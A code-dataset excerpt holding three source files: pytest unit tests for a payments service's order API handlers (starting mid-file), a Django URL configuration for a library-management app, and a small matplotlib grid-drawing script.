@pytest.fixture(params=(True, False))\n def autoclear(self, request):\n return request.param\n\n @pytest.fixture(params=(True, False))\n def fast_moderation(self, request):\n return request.param\n\n @pytest.fixture\n def order_param_pop(self):\n return None\n\n @pytest.fixture\n def item_amount(self, randdecimal):\n return randdecimal()\n\n @pytest.fixture\n def item_price(self, randdecimal):\n return randdecimal()\n\n @pytest.fixture\n def order_properties(self, rands, autoclear, item_amount, item_price, randitem, fast_moderation, order_param_pop):\n properties = {\n 'caption': f' {rands()} ',\n 'description': rands(),\n 'items': [{\n 'amount': item_amount,\n 'currency': CURRENCY_RUB,\n 'image': {\n 'url': rands(),\n },\n 'name': f' {rands()} ',\n 'nds': randitem(NDS),\n 'price': item_price\n }],\n 'autoclear': autoclear,\n 'offline_abandon_deadline': utcnow(),\n 'fast_moderation': fast_moderation,\n }\n if order_param_pop is not None:\n properties.pop(order_param_pop)\n return properties\n\n @pytest.fixture\n def service_merchant_context(self, mode, active, service_merchant, order, crypto_mock, tvm_client_id,\n order_properties):\n if mode == 'active':\n return {\n 'service_merchant_id': service_merchant.service_merchant_id,\n 'service_tvm_id': tvm_client_id,\n 'order_id': order.order_id,\n 'active': active,\n }\n elif mode == 'order':\n return {\n 'service_merchant_id': service_merchant.service_merchant_id,\n 'service_tvm_id': tvm_client_id,\n 'order_id': order.order_id,\n **strip_fields(order_properties)\n }\n\n @pytest.fixture\n def uid_context(self, active, mode, order, order_properties):\n if mode == 'active':\n return {\n 'uid': order.uid,\n 'order_id': order.order_id,\n 'active': active,\n }\n elif mode == 'order':\n return {\n 'uid': order.uid,\n 'order_id': order.order_id,\n **order_properties\n }\n\n @pytest.fixture\n def action(self, mode, internal_api, mock_action, order):\n if mode == 'active':\n if internal_api:\n from mail.payments.payments.core.actions.order.activate import ActivateOrderServiceMerchantAction\n return mock_action(ActivateOrderServiceMerchantAction, order)\n else:\n from mail.payments.payments.core.actions.order.activate import ActivateOrderAction\n return mock_action(ActivateOrderAction, order)\n elif mode == 'order':\n if internal_api:\n from mail.payments.payments.core.actions.order.create_or_update import (\n CreateOrUpdateOrderServiceMerchantAction\n )\n return mock_action(CreateOrUpdateOrderServiceMerchantAction, order)\n else:\n from mail.payments.payments.core.actions.order.create_or_update import CreateOrUpdateOrderAction\n return mock_action(CreateOrUpdateOrderAction, order)\n\n @pytest.fixture\n def request_json(self, mode, randitem, randdecimal, order_properties, rands, active):\n if mode == 'active':\n return {\n 'active': active,\n rands(): rands(),\n 'uid': -1,\n }\n elif mode == 'order':\n return json_value(order_properties)\n\n @pytest.fixture\n def response_func(self, action, payments_client, test_data, request_json):\n async def _inner(**kwargs):\n request_json.update(kwargs)\n return await payments_client.put(test_data['path'], json=request_json)\n\n return _inner\n\n def test_params(self, test_data, action, response):\n action.assert_called_once_with(**strip_fields(test_data['context']))\n\n @pytest.mark.asyncio\n @pytest.mark.parametrize('internal_api,mode', (\n pytest.param(True, 'order', id='internal order'),\n ))\n async def test_service_data(self, rands, test_data, action, response_func):\n service_data = {rands(): rands()}\n await response_func(service_data=service_data)\n action.assert_called_once_with(service_data=service_data, **test_data['context'])\n\n @pytest.mark.parametrize('order_properties', (\n pytest.param({\n 'caption': 'caption',\n 'description': 'description',\n 'items': [{\n 'amount': Decimal('1.0'),\n 'currency': CURRENCY_RUB,\n 'image': {},\n 'name': 'name',\n 'nds': NDS.NDS_10,\n 'price': Decimal('1.0'),\n }],\n 'autoclear': False,\n 'offline_abandon_deadline': utcnow(),\n }, id='no-image-url'),\n ))\n @pytest.mark.parametrize('mode', ('order',))\n @pytest.mark.asyncio\n async def test_invalid_order(self, response_func):\n response = await response_func()\n assert response.status == 400\n\n @pytest.mark.parametrize('item_amount,item_price', (\n pytest.param(Decimal(1), Decimal(0), id='zero-price'),\n pytest.param(Decimal(0), Decimal(1), id='zero-amount'),\n ))\n @pytest.mark.parametrize('mode', ('order',))\n @pytest.mark.asyncio\n async def test_invalid_item(self, response_func):\n response = await response_func()\n assert response.status == 400\n\n @pytest.mark.parametrize('order_param_pop', [None, 'caption'])\n @pytest.mark.parametrize('mode', ('order',))\n @pytest.mark.asyncio\n async def test_absent_order_caption(self, response_func):\n response = await response_func()\n assert response.status == 200\n\n\nclass TestOrderActive(BaseTestOrder):\n @pytest.fixture(params=(True, False))\n def active(self, request):\n return request.param\n\n @pytest.fixture\n def service_merchant_path(self, service_merchant, order, active):\n suffix = 'activate' if active else 'deactivate'\n return f'/v1/internal/order/{service_merchant.service_merchant_id}/{order.order_id}/{suffix}'\n\n @pytest.fixture\n def uid_path(self, order, active):\n suffix = 'activate' if active else 'deactivate'\n return f'/v1/order/{order.uid}/{order.order_id}/{suffix}'\n\n @pytest.fixture\n def service_merchant_context(self, active, service_merchant, order, crypto_mock, tvm_client_id):\n return {\n 'service_merchant_id': service_merchant.service_merchant_id,\n 'service_tvm_id': tvm_client_id,\n 'order_id': order.order_id,\n 'active': active,\n }\n\n @pytest.fixture\n def uid_context(self, active, order):\n return {\n 'uid': order.uid,\n 'order_id': order.order_id,\n 'active': active,\n 'with_customer_subscription': True,\n 'select_customer_subscription': None,\n }\n\n @pytest.fixture\n def action(self, internal_api, mock_action, order):\n if internal_api:\n from mail.payments.payments.core.actions.order.activate import ActivateOrderServiceMerchantAction\n return mock_action(ActivateOrderServiceMerchantAction, order)\n else:\n from mail.payments.payments.core.actions.order.activate import ActivateOrderAction\n return mock_action(ActivateOrderAction, order)\n\n @pytest.fixture\n async def response(self, action, payments_client, test_data):\n return await payments_client.post(test_data['path'])\n\n def test_params(self, order, response, action, test_data):\n action.assert_called_once_with(**test_data['context'])\n\n\nclass TestMultiOrderPost(BaseTestOrder):\n @pytest.fixture\n def action(self, internal_api, mock_action, order, items):\n if internal_api:\n from mail.payments.payments.core.actions.order.create_from_multi import (\n CreateOrderFromMultiOrderServiceMerchantAction\n )\n return mock_action(CreateOrderFromMultiOrderServiceMerchantAction, order)\n else:\n from mail.payments.payments.core.actions.order.create_from_multi import CreateOrderFromMultiOrderAction\n return mock_action(CreateOrderFromMultiOrderAction, order)\n\n @pytest.fixture\n def service_merchant_path(self, service_merchant, multi_order):\n return f'/v1/internal/order/{service_merchant.service_merchant_id}/multi/{multi_order.order_id}'\n\n @pytest.fixture\n def service_merchant_context(self, service_merchant, service_client, multi_order):\n return {'order_id': multi_order.order_id,\n 'service_merchant_id': service_merchant.service_merchant_id,\n 'service_tvm_id': service_client.tvm_id}\n\n @pytest.fixture\n def uid_path(self, multi_order):\n return f'/v1/order/{multi_order.uid}/multi/{multi_order.order_id}'\n\n @pytest.fixture\n def uid_context(self, multi_order):\n return {'order_id': multi_order.order_id, 'uid': multi_order.uid}\n\n @pytest.fixture\n async def response(self, action, payments_client, order, test_data):\n return await payments_client.post(test_data['path'])\n\n def test_params(self, order, response, action, test_data):\n action.assert_called_once_with(**test_data['context'])\n\n\nclass TestOrderListGet(BaseTestOrderList):\n @pytest.fixture\n def params(self, randn):\n return {\n 'original_order_id': randn(),\n 'subscription': 'true',\n }\n\n @pytest.fixture(autouse=True)\n def action(self, internal_api, mock_action, order, items, shop):\n order.order_hash = 'test-order-list-get-order-hash'\n order.payment_hash = 'test-order-list-get-payment-hash'\n order.shop = shop\n if internal_api:\n from mail.payments.payments.core.actions.order.get_list import GetServiceMerchantOrderListAction\n return mock_action(GetServiceMerchantOrderListAction, [order])\n else:\n from mail.payments.payments.core.actions.order.get_list import GetOrderListAction\n return mock_action(GetOrderListAction, [order])\n\n @pytest.fixture\n async def response(self, payments_client, params, test_data, tvm):\n resp = await payments_client.get(test_data['path'], params=params)\n return resp\n\n def test_params(self, response, action, params, test_data):\n test_data['context'].update({\n 'limit': 100,\n 'offset': 0,\n 'original_order_id': params['original_order_id'],\n 'subscription': True,\n })\n action.assert_called_once_with(**test_data['context'])\n\n class TestParentOrderId:\n @pytest.fixture\n def params(self, randn):\n return {'parent_order_id': randn()}\n\n def test_parent_order_id(self, params, response, action):\n assert_that(\n action.call_args[1]['parent_order_id'],\n params['parent_order_id'],\n )\n\n class TestPayMethod:\n @pytest.fixture\n def params(self, randitem):\n return {'pay_method': randitem(PAY_METHODS)}\n\n def test_pay_method(self, params, response, action):\n assert_that(\n action.call_args[1]['pay_method'],\n params['pay_method'],\n )\n\n class TestPayStatuses:\n @pytest.fixture\n def params(self):\n p = MultiDict()\n p.add('pay_statuses[]', PayStatus.PAID.value)\n p.add('pay_statuses[]', PayStatus.IN_PROGRESS.value)\n return p\n\n def test_pay_statuses(self, response, action):\n assert_that(\n action.call_args[1]['pay_statuses'],\n contains_inanyorder(PayStatus.PAID, PayStatus.IN_PROGRESS),\n )\n\n class TestRefundStatuses:\n @pytest.fixture\n def params(self):\n p = MultiDict()\n p.add('refund_statuses[]', RefundStatus.REQUESTED.value)\n p.add('refund_statuses[]', RefundStatus.COMPLETED.value)\n return p\n\n def test_refund_statuses(self, response, action):\n assert_that(\n action.call_args[1]['refund_statuses'],\n contains_inanyorder(RefundStatus.REQUESTED, RefundStatus.COMPLETED),\n )\n\n class TestDatetimeParams:\n @pytest.fixture\n def params(self):\n return {\n 'created_from': datetime.utcnow().isoformat(),\n 'created_to': datetime.utcnow().isoformat(),\n 'held_at_from': datetime.utcnow().isoformat(),\n 'held_at_to': datetime.utcnow().isoformat(),\n }\n\n def test_datetime_params(self, response, action, params, test_data):\n assert_that(action.call_args[1], has_entries({\n 'created_from': datetime.fromisoformat(params['created_from']),\n 'created_to': datetime.fromisoformat(params['created_to']),\n 'held_at_from': datetime.fromisoformat(params['held_at_from']),\n 'held_at_to': datetime.fromisoformat(params['held_at_to']),\n }))\n\n class TestPriceParams:\n @pytest.fixture\n def params(self):\n return {\n 'price_from': 100,\n 'price_to': 200,\n }\n\n def test_price_params(self, response, action, params, test_data):\n assert_that(action.call_args[1], has_entries({\n 'price_from': params['price_from'],\n 'price_to': params['price_to'],\n }))\n\n class TestTextEmailQueryParams:\n @pytest.fixture\n def params(self):\n return {\n 'text_query': 'asd',\n 'email_query': 'asd',\n }\n\n def test_text_email_query_params(self, response, action, params, test_data):\n assert_that(action.call_args[1], has_entries({\n 'text_query': params['text_query'],\n 'email_query': params['email_query'],\n }))\n\n class TestCreatedBySourcesQueryParams:\n @pytest.fixture\n def params(self):\n p = MultiDict()\n p.add('created_by_sources[]', OrderSource.UI.value)\n p.add('created_by_sources[]', OrderSource.SERVICE.value)\n return p\n\n def test_created_by_sources_query_params(self, response, action):\n assert_that(\n action.call_args[1]['created_by_sources'],\n contains_inanyorder(OrderSource.UI, OrderSource.SERVICE)\n )\n\n class TestServiceIdsQueryParams:\n @pytest.fixture\n def params(self):\n p = MultiDict()\n p.add('service_ids[]', 1)\n p.add('service_ids[]', 2)\n return p\n\n def test_service_ids_query_params(self, response, action):\n assert_that(action.call_args[1]['service_ids'], contains_inanyorder(1, 2))\n\n class TestSubscriptionQueryParam:\n @pytest.fixture(params=('false', 'true', 'null'))\n def subscription_param(self, request):\n return request.param\n\n @pytest.fixture\n def params(self, subscription_param):\n return {\n 'subscription': subscription_param\n }\n\n def test_subscription_query_param(self, response, action, subscription_param):\n expected = True if subscription_param == 'true' else False if subscription_param == 'false' else None\n assert action.call_args[1]['subscription'] == expected\n\n class TestDefault:\n @pytest.fixture\n def params(self):\n return {}\n\n def test_subscription_query_param_default(self, response, params, action):\n assert action.call_args[1]['subscription'] is False\n\n class TestWithRefundsParams:\n @pytest.fixture\n def params(self):\n p = MultiDict()\n p.add('with_refunds', 1)\n return p\n\n def test_with_refunds_params(self, response, action):\n assert_that(\n action.call_args[1]['with_refunds'],\n equal_to(True)\n )\n\n\nclass TestOrderListPost(BaseTestOrderList):\n @pytest.fixture\n def action(self, internal_api, mock_action, order, shop):\n order.shop = shop\n if internal_api:\n from mail.payments.payments.core.actions.order.create_or_update import (\n CreateOrUpdateOrderServiceMerchantAction\n )\n return mock_action(CreateOrUpdateOrderServiceMerchantAction, order)\n else:\n from mail.payments.payments.core.actions.order.create_or_update import CreateOrUpdateOrderAction\n return mock_action(CreateOrUpdateOrderAction, order)\n\n @pytest.fixture\n def kind(self):\n return None\n\n @pytest.fixture\n def max_amount(self):\n return None\n\n @pytest.fixture\n def pay_method(self):\n return None\n\n @pytest.fixture\n def mode(self):\n return 'prod'\n\n @pytest.fixture\n def request_json(self, kind, pay_method, max_amount, mode):\n return without_none({\n 'offline_abandon_deadline': utcnow().isoformat(),\n 'kind': enum_value(kind),\n 'autoclear': False,\n 'mode': mode,\n 'uid': -1,\n 'caption': ' abc ',\n 'description': 'def',\n 'pay_method': pay_method,\n 'items': [\n {\n 'amount': 22.33,\n 'currency': 'RUB',\n 'name': ' roses ',\n 'nds': 'nds_none',\n 'price': 99.99,\n },\n {\n 'amount': 100,\n 'currency': 'RUB',\n 'name': ' smth ',\n 'nds': 'nds_10',\n 'price': 1000,\n }\n ],\n 'max_amount': max_amount,\n 'fast_moderation': True,\n })\n\n @pytest.fixture\n def request_headers(self):\n return {}\n\n @pytest.fixture\n def response_func(self, action, payments_client, test_data):\n async def _inner(request_json, headers=None):\n return await payments_client.post(test_data['path'], json=request_json, headers=headers or {})\n\n return _inner\n\n @pytest.fixture\n async def response(self, request_json, request_headers, response_func):\n return await response_func(request_json, headers=request_headers)\n\n class TestShopIdHeader:\n @pytest.mark.asyncio\n async def test_explicit_shop_id_header(self, action, response_func, request_json, request_headers, randn):\n shop_id = str(randn())\n request_headers['X-Shop-Id'] = shop_id\n await response_func(request_json, headers=request_headers)\n assert action.call_args[1]['shop_id'] == int(shop_id)\n\n @pytest.mark.asyncio\n async def test_no_shop_id_header_and_mode_parameter(\n self, action, mode, response_func, request_json, request_headers\n ):\n \"\"\"mode json param means default shop type if no x-shop-id header is passed\"\"\"\n request_headers.pop('X-Shop-Id', None)\n await response_func(request_json, headers=request_headers)\n expected_shop_type = dict(prod=ShopType.PROD, test=ShopType.TEST)[mode]\n call_kwargs = action.call_args[1]\n\n assert_that(call_kwargs, all_of(\n has_entry('default_shop_type', expected_shop_type),\n not_(has_key('shop_id')),\n ))\n\n @pytest.mark.asyncio\n async def test_response_400_because_shop_id_is_not_integer(self, response_func, request_json):\n headers = {'X-Shop-Id': 'not valid shop id'}\n response = await response_func(request_json, headers)\n assert_that(\n await response.json(),\n has_entries({\n 'data': {\n 'params': {'x-shop-id': ['Not a valid integer.']},\n 'message': 'Bad Request'},\n 'status': 'fail',\n 'code': 400\n })\n )\n\n @pytest.mark.parametrize('pop_key', ['items'])\n @pytest.mark.asyncio\n async def test_bad_request(self, request_json, response_func, pop_key):\n request_json.pop(pop_key)\n response = await response_func(request_json)\n assert_that(\n await response.json(),\n has_entries({\n 'status': 'fail',\n 'code': 400,\n })\n )\n\n @pytest.mark.parametrize('caption', ['abc', '', None])\n @pytest.mark.asyncio\n async def test_order_caption(self, request_json, response_func, caption):\n request_json['caption'] = caption\n response = await response_func(request_json)\n assert_that(\n await response.json(),\n has_entries({\n 'status': 'success',\n 'code': 200,\n })\n )\n\n @pytest.mark.asyncio\n async def test_order_caption_absent(self, request_json, response_func):\n request_json.pop('caption')\n response = await response_func(request_json)\n assert_that(\n await response.json(),\n has_entries({\n 'status': 'success',\n 'code': 200,\n })\n )\n\n @pytest.mark.asyncio\n async def test_product_name_too_long(self, request_json, response_func):\n request_json['items'][0]['name'] = 129 * 'a'\n response = await response_func(request_json)\n response_json = await response.json()\n assert_that(\n response_json,\n has_entries({\n 'code': 400,\n 'status': 'fail',\n 'data': {\n 'params': {\n 'items': {\n '0': {\n 'name': ['Longer than maximum length 128.']\n }\n }\n },\n 'message': 'Bad Request',\n }\n })\n )\n\n @pytest.mark.parametrize(\n 'kind',\n [\n pytest.param(\n kind, marks=() if kind in (None, OrderKind.PAY, OrderKind.MULTI) else (pytest.mark.xfail(strict=True),)\n )\n for kind in chain((None,), list(OrderKind))\n ]\n )\n @pytest.mark.asyncio\n async def test_kind(self, request_json, response_func):\n response = await response_func(request_json)\n assert_that(\n await response.json(),\n has_entries({\n 'status': 'success',\n 'code': 200,\n })\n )\n\n @pytest.mark.parametrize('pop_key', ['amount', 'currency', 'name', 'nds', 'price'])\n @pytest.mark.asyncio\n async def test_bad_request_items(self, request_json, response_func, pop_key):\n request_json['items'][0].pop(pop_key)\n response = await response_func(request_json)\n assert_that(\n await response.json(),\n has_entries({\n 'status': 'fail',\n 'code': 400,\n })\n )\n\n @pytest.mark.parametrize('kind', (OrderKind.MULTI, OrderKind.PAY))\n @pytest.mark.parametrize('pay_method', (None, PAY_METHOD_OFFLINE))\n def test_context(self, action, request_json, pay_method, response, test_data, kind):\n exp_context = {\n 'autoclear': request_json['autoclear'],\n 'caption': request_json['caption'].strip(),\n 'description': request_json['description'],\n 'items': [\n {\n 'amount': Decimal(str(item['amount'])),\n 'price': Decimal(str(item['price'])),\n 'currency': item['currency'],\n 'nds': NDS(item['nds']),\n 'name': item['name'].strip(),\n }\n for item in request_json['items']\n ],\n 'offline_abandon_deadline': datetime.fromisoformat(request_json['offline_abandon_deadline']),\n 'kind': kind,\n 'fast_moderation': request_json['fast_moderation'],\n }\n if kind == OrderKind.MULTI:\n exp_context['max_amount'] = None\n if pay_method == PAY_METHOD_OFFLINE:\n exp_context['paymethod_id'] = PAYMETHOD_ID_OFFLINE\n\n if 'mode' in request_json:\n mode = request_json['mode']\n exp_context['default_shop_type'] = dict(prod=ShopType.PROD, test=ShopType.TEST)[mode]\n\n exp_context.update(test_data['context'])\n action.assert_called_once_with(**exp_context)\n\n @pytest.mark.asyncio\n async def test_paymethod_id_pay_method_both(self, request_json, rands, response_func):\n response = await response_func({**request_json, 'pay_method': 'offline', 'paymethod_id': rands()})\n assert_that(\n await response.json(),\n has_entries({\n 'status': 'fail',\n 'code': 400,\n })\n )\n\n @pytest.mark.asyncio\n async def test_paymethod_id(self, internal_api, request_json, rands, response_func):\n paymethod_id = 'offline' if internal_api else rands()\n response = await response_func({**request_json, 'paymethod_id': paymethod_id})\n\n assert_that(\n await response.json(),\n has_entries({\n 'status': 'fail',\n 'code': 400,\n })\n )\n\n class TestUrlMatch:\n @pytest.fixture\n def internal_api(self):\n return False\n\n @pytest.fixture(params=['', '/'])\n def response_func(self, request, action, payments_client, test_data):\n async def _inner(request_json, headers=None):\n return await payments_client.post(f\"{test_data['path']}{request.param}\", json=request_json,\n allow_redirects=False)\n\n return _inner\n\n @pytest.mark.asyncio\n async def test_url_match__called(self, response, action):\n action.assert_called_once()\n\n class TestMaxAmountKindCheck:\n @pytest.fixture\n def max_amount(self):\n return 10\n\n @pytest.fixture\n def kind(self):\n return None\n\n @pytest.mark.asyncio\n async def test_max_amount_kind_check(self, request_json, response_func):\n response = await response_func(request_json)\n assert_that(\n await response.json(),\n has_entries({\n 'status': 'fail',\n 'code': 400,\n })\n )\n\n\nclass TestScheduleOrderClearUnholdHandler(BaseTestOrder):\n @pytest.fixture\n def action(self, mock_action):\n from mail.payments.payments.core.actions.order.clear_unhold import ScheduleClearUnholdOrderAction\n return mock_action(ScheduleClearUnholdOrderAction)\n\n @pytest.fixture(params=('clear', 'unhold'))\n def operation(self, request):\n return request.param\n\n @pytest.fixture\n async def response(self, action, payments_client, order, operation):\n return await payments_client.post(f'/v1/order/{order.uid}/{order.order_id}/{operation}')\n\n @pytest.fixture\n def expected_context(self, order, operation):\n return {\n 'uid': order.uid,\n 'order_id': order.order_id,\n 'operation': operation,\n }\n\n def test_context(self, expected_context, response, action):\n action.assert_called_once_with(**expected_context)\n\n @pytest.mark.parametrize('operation', ('aa',))\n def test_bad_operation(self, response):\n assert response.status == 404\n\n\nclass TestRefundHandler(BaseTestOrder):\n @pytest.fixture\n def caption(self):\n return ' test-refund-handler-caption '\n\n @pytest.fixture\n def description(self):\n return 'test-refund-handler-description'\n\n @pytest.fixture\n def request_json(self, items, caption, description):\n return {\n 'caption': caption,\n 'description': description,\n 'items': [\n {\n 'amount': float(item.amount),\n 'currency': item.currency,\n 'name': item.name,\n 'nds': item.nds.value,\n 'price': float(item.price),\n }\n for item in items\n ]\n }\n\n @pytest.fixture\n def action(self, mock_action):\n from mail.payments.payments.core.actions.order.refund import CreateRefundAction\n return mock_action(CreateRefundAction)\n\n @pytest.fixture\n async def response(self, action, payments_client, refund, request_json):\n return await payments_client.post(f'/v1/order/{refund.uid}/{refund.original_order_id}/refund',\n json=request_json)\n\n @pytest.fixture\n def expected_context(self, items, refund, caption, description):\n return {\n 'uid': refund.uid,\n 'order_id': refund.original_order_id,\n 'caption': caption.strip(),\n 'description': description,\n 'items': [\n {\n 'amount': item.amount,\n 'currency': item.currency,\n 'name': item.name,\n 'nds': item.nds,\n 'price': item.price,\n }\n for item in items\n ]\n }\n\n def test_context(self, action, expected_context, response):\n action.assert_called_once_with(**expected_context)\n\n\nclass TestRefundCustomerSubscriptionTransactionHandler(BaseTestOrder):\n @pytest.fixture\n def caption(self):\n return ' test-refund-handler-caption '\n\n @pytest.fixture\n def description(self):\n return 'test-refund-handler-description'\n\n @pytest.fixture\n def request_json(self, caption, description):\n return {\n 'caption': caption,\n 'description': description,\n }\n\n @pytest.fixture\n def action(self, mock_action):\n from mail.payments.payments.core.actions.order.refund import CreateCustomerSubscriptionTransactionRefundAction\n return mock_action(CreateCustomerSubscriptionTransactionRefundAction)\n\n @pytest.fixture\n async def response(self, action, payments_client, merchant, customer_subscription,\n customer_subscription_transaction, request_json):\n uid = merchant.uid\n subs_id = customer_subscription.customer_subscription_id\n tx_id = customer_subscription_transaction.purchase_token\n return await payments_client.post(\n f'/v1/customer_subscription/{uid}/{subs_id}/{tx_id}/refund',\n json=request_json\n )\n\n @pytest.fixture\n def expected_context(self, refund, caption, description, customer_subscription, customer_subscription_transaction):\n return {\n 'uid': refund.uid,\n 'customer_subscription_id': customer_subscription.customer_subscription_id,\n 'purchase_token': customer_subscription_transaction.purchase_token,\n 'caption': caption.strip(),\n 'description': description,\n }\n\n def test_context(self, action, expected_context, response):\n action.assert_called_once_with(**expected_context)\n\n\nclass TestCancelHandler(BaseTestOrder):\n @pytest.fixture\n def request_json(self):\n return {}\n\n @pytest.fixture(autouse=True)\n def action(self, mock_action, order):\n from mail.payments.payments.core.actions.order.cancel import CancelOrderAction\n return mock_action(CancelOrderAction, order)\n\n @pytest.fixture\n async def response(self, action, order, payments_client, request_json):\n return await payments_client.post(\n f'/v1/order/{order.uid}/{order.order_id}/cancel',\n json=request_json,\n )\n\n def test_success(self, response):\n assert response.status == 200\n\n def test_context(self, action, order, response):\n action.assert_called_once_with(\n uid=order.uid,\n order_id=order.order_id,\n select_customer_subscription=None,\n )\n\n\nclass TestOrderEmailHandler(BaseTestOrder):\n @pytest.fixture\n def action(self, mock_action):\n from mail.payments.payments.core.actions.order.email import OrderEmailAction\n return mock_action(OrderEmailAction)\n\n @pytest.fixture(params=(True, False))\n def spam_check(self, request):\n return request.param\n\n @pytest.fixture\n def request_json(self, spam_check, randmail):\n return {\n 'to_email': f' {randmail()} ',\n 'reply_email': f' {randmail()} ',\n 'spam_check': spam_check,\n 'select_customer_subscription': None,\n }\n\n @pytest.fixture\n async def response(self, action, payments_client, order, request_json):\n return await payments_client.post(f'/v1/order/{order.uid}/{order.order_id}/email', json=request_json)\n\n def test_context(self, request_json, response, action):\n assert_that(action.call_args[1], has_entries(**strip_fields(request_json)))\n\n\nclass TestDownloadMultiOrderEmailListHandler:\n @pytest.fixture(autouse=True)\n def action(self, mock_action):\n from mail.payments.payments.core.actions.order.create_from_multi import DownloadMultiOrderEmailListAction\n return mock_action(DownloadMultiOrderEmailListAction)\n\n @pytest.fixture\n async def response(self, payments_client, multi_order):\n return await payments_client.get(f'/v1/order/{multi_order.uid}/multi/{multi_order.order_id}/download')\n\n def test_params(self, multi_order, response, action):\n action.assert_called_once_with(uid=multi_order.uid, order_id=multi_order.order_id)\n\n\nclass TestPayOfflineOrderHandler(BaseTestOrder):\n @pytest.fixture(autouse=True)\n def action(self, internal_api, mock_action, order, items):\n if internal_api:\n from mail.payments.payments.core.actions.order.pay_offline import PayOfflineServiceMerchantOrderAction\n return mock_action(PayOfflineServiceMerchantOrderAction, order)\n else:\n from mail.payments.payments.core.actions.order.pay_offline import PayOfflineOrderAction\n return mock_action(PayOfflineOrderAction, order)\n\n @pytest.fixture\n def uid_path(self, order):\n return f'/v1/order/{order.uid}/{order.order_id}/pay_offline'\n\n @pytest.fixture\n def service_merchant_path(self, service_merchant, order):\n return f'/v1/internal/order/{service_merchant.service_merchant_id}/{order.order_id}/pay_offline'\n\n @pytest.fixture\n def service_merchant_context(self, rands, order, tvm_client_id, service_merchant):\n return {\n 'order_id': order.order_id,\n 'customer_uid': None,\n 'service_tvm_id': tvm_client_id,\n 'service_merchant_id': service_merchant.service_merchant_id,\n }\n\n @pytest.fixture\n def uid_context(self, order):\n return {\n 'uid': order.uid,\n 'order_id': order.order_id,\n 'customer_uid': None,\n }\n\n @pytest.fixture\n def response_func(self, payments_client, test_data):\n async def _inner(**kwargs):\n return await payments_client.post(test_data['path'], json=kwargs)\n\n return _inner\n\n def test_params(self, test_data, response, action):\n action.assert_called_once_with(**test_data['context'])\n\n @pytest.mark.asyncio\n @pytest.mark.parametrize('internal_api', (True,))\n async def test_service_data(self, rands, action, service_merchant_context, response_func):\n service_data = {rands(): rands()}\n await response_func(service_data=service_data)\n action.assert_called_once_with(**service_merchant_context, service_data=service_data)\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"mail/tests/unit/api/handlers/test_order.py","file_name":"test_order.py","file_ext":"py","file_size_in_byte":38798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"19787319017","text":"from django.urls import path\nfrom django.views.generic import DetailView\n\nfrom . import views\nfrom .models import Book\nfrom .views import RoomListView, RoomCreateView, BookcaseListView, BookcaseCreateView, ShelfListView, ShelfCreateView, \\\n BookAddView, BookListView, BooksDeleteView, MainManageLibrary, BookUpdateView, BookAddISBNView\n\nurlpatterns = [\n path('', MainManageLibrary.as_view(template_name=\"manage_library/main_manage_library.html\"),\n name=\"main_manage_library\"),\n path('listallbooks/', BookListView.as_view(template_name=\"manage_library/books_all.html\"), name=\"list-all-books\"),\n path('detailsbook/', DetailView.as_view(model=Book), name=\"show-book-details\"),\n path('changebookstatus/', views.change_book_status, name=\"change-book-status\"),\n\n path('changebookshelf/', views.ChangeBookShelf.as_view(model=Book), name=\"change-book-shelf\"),\n\n path('addnewbook/', BookAddView.as_view(template_name=\"manage_library/add_book.html\"), name=\"add-new-book\"),\n path('addnewbookisbn/', BookAddISBNView.as_view(template_name=\"manage_library/add_book_isbn.html\"), name=\"add-new-book-isbn\"),\n path('listallbooks//delete/',\n BooksDeleteView.as_view(template_name='manage_library/book_confirm_delete.html'),\n name='book_delete'),\n path('detailsbook//update/', BookUpdateView.as_view(template_name='manage_library/book_update.html'), name='book_update'),\n path('room/', RoomListView.as_view(template_name='manage_library/rooms_all.html'), name=\"all-rooms\"),\n path('addroom/', RoomCreateView.as_view(template_name='manage_library/add_room.html'), name=\"add-room\"),\n path('bookcase/', BookcaseListView.as_view(template_name='manage_library/bookcase_all.html'), name=\"all-bookcases\"),\n path('addbookcase/', BookcaseCreateView.as_view(template_name='manage_library/add_bookcase.html'),\n name=\"add-bookcase\"),\n path('shelf/', ShelfListView.as_view(template_name='manage_library/shelf_all.html'), name=\"all-shelves\"),\n path('addshelf/', ShelfCreateView.as_view(template_name='manage_library/add_shelf.html'), name=\"add-shelf\"),\n\n]\n","repo_name":"milena-marcinik/projk_gr_1","sub_path":"manage_library/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2141,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"6890033409","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport numpy as np\nimport matplotlib\nimport matplotlib.path as path\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\nfrom matplotlib.ticker import MultipleLocator\n\nfig = plt.figure(figsize=(8,6), dpi=72,facecolor=\"white\")\naxes = plt.subplot(111, aspect=1,axisbelow=True)\naxes.set_xlim(0,4)\naxes.set_ylim(0,4)\n\naxes.xaxis.set_major_locator(MultipleLocator(1.0))\naxes.xaxis.set_minor_locator(MultipleLocator(0.1))\naxes.yaxis.set_major_locator(MultipleLocator(1.0))\naxes.yaxis.set_minor_locator(MultipleLocator(0.1))\n\npatch = patches.Circle((.65,.65), radius=.25, transform=axes.transAxes,\n facecolor='none', edgecolor='black',zorder=1)\naxes.grid(which='major', axis='x', color='0.75',\n linewidth=0.75, linestyle='-', clip_path=patch)\naxes.grid(which='minor', axis='x', color='0.75',\n linewidth=0.25, linestyle='-', clip_path=patch)\naxes.grid(which='major', axis='y', color='0.75',\n linewidth=0.75, linestyle='-', clip_path=patch)\naxes.grid(which='minor', axis='y', color='0.75',\n linewidth=0.25, linestyle='-', clip_path=patch)\naxes.add_patch(patch)\n\n\nplt.show()\n","repo_name":"rougier/gallery","sub_path":"grid/grid-7.py","file_name":"grid-7.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"72"}
